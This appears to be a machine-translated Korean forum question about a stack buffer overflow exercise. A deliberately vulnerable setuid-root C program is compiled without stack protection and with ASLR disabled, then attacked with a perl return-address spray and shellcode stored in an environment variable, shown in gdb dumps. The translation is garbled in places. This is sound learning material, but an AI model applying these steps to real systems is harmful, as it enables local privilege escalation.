main 변수의 반환 주소에 anvironment 변수의 주소가 포함되도록 searchstring 변수를 오버플로하여 환경 변수에 저장된 일부 쉘 코드를 실행하려고 아래 코드를 사용하고 있습니다. 그러나 printf 명령 전에 세그먼트 화 오류가 발생합니다.버퍼 오버플로를 사용하여 환경 변수에 쉘 코드를 실행하는 중
#include <stdio.h>
#include <string.h>
void main(int argc, char *argv[]){
char searchstring[100];
if(argc > 1)
strcpy(searchstring, argv[1]);
else // otherwise
searchstring[0] = 0;
printf("Here");
}
나는 스택 보호를 해제하고 스택 실행을하기 위해
gcc -m32 -g -o overflow.o overflow.c -fno-stack-protector -z execstack
사용하여 코드를 컴파일합니다. 나는 또한 0이 나는 또한 루트 소유자와 그룹을 변경 포함이/proc/sys/kernel/randomize_va_space을 수정하여 ASLR을 해제 :
sudo chown root:root overflow.o
sudo chmod u+s overflow.o
환경 변수는 쉘 코드 전에 NOP 썰매를 포함하고 내가 결정 주소 0xffffd910은 NOP 썰매의 중간에있다. 따라서 나는
./overflow.o $(perl -e 'print "\x10\xd9\xff\xff"x40')
을 사용하여 프로그램을 실행하지만 세그먼테이션 오류가 발생합니다.
gdb를 사용하여 main에 중단 점을 설정하고 지침을 단계별로 실행했습니다. SEG 결함이 printf와 명령이 도달 제가
(gdb) x/32x $esp
0xffffd910: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd920: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd930: 0x90909090 0x90909090 0xdb31c031 0xb099c931
0xffffd940: 0x6a80cda4 0x6851580b 0x68732f2f 0x69622f68
0xffffd950: 0x51e3896e 0x8953e289 0x0080cde1 0x4d524554
0xffffd960: 0x6574783d 0x53006d72 0x4c4c4548 0x69622f3d
0xffffd970: 0x61622f6e 0x58006873 0x4d5f4d44 0x47414e41
0xffffd980: 0x6d3d4445 0x6f687465 0x6c633d64 0x69737361
(gdb) x/x $eip
0x90909090: Cannot access memory at address 0x90909090
메인 스택 프레임을 검사하는 것이 참조 SEG 오류 직후 스택 포인터 및 인스트럭션 포인터 검사 전에 발생 확인한다 (주소 0xffffd460 것으로 이전 검색) 주소 0xffffd910가 참으로 검색 문장에 복사되었습니다 :
(gdb) x/32x 0xffffd460
0xffffd460: 0xffffd49f 0xffffd49e 0xffffd590 0xffffd910
0xffffd470: 0xffffd910 0xffffd910 0xffffd910 0xffffd910
0xffffd480: 0xffffd910 0xffffd910 0xffffd910 0xffffd910
0xffffd490: 0xffffd910 0xffffd910 0xffffd910 0xffffd910
0xffffd4a0: 0xffffd910 0xffffd910 0xffffd910 0xffffd910
0xffffd4b0: 0xffffd910 0xffffd910 0xffffd910 0xffffd910
0xffffd4c0: 0xffffd910 0xffffd910 0xffffd910 0xffffd910
0xffffd4d0: 0xffffd910 0xffffd910 0xffffd910 0xffffd910
이해가되지 않는 이유의 주요 실행이 완료되지 않은 경우에도 이러한 위치에 스택 포인터 및 명령 포인터 점프? 또한 명령 포인터가 0xffffd910 대신 0x90909090으로 점프하는 이유는 무엇입니까? 그것은 세분화 오류를 일으키는 이거 아니면 내가 알지 못하는 몇 가지 스택 보호일까요?
나는 이것이 고의적 인 예임을 알고 있지만, 나는 단지 무슨 일이 일어나고 있는지 알고 싶어합니다.
감사합니다.
같은 문제가 발생했습니다. 이 "lea"명령은 eop 레지스터가 nop sled 주소 대신 0x90909090을 가리 키도록합니다. 이것에 대한 해결책을 찾았습니까? – Michele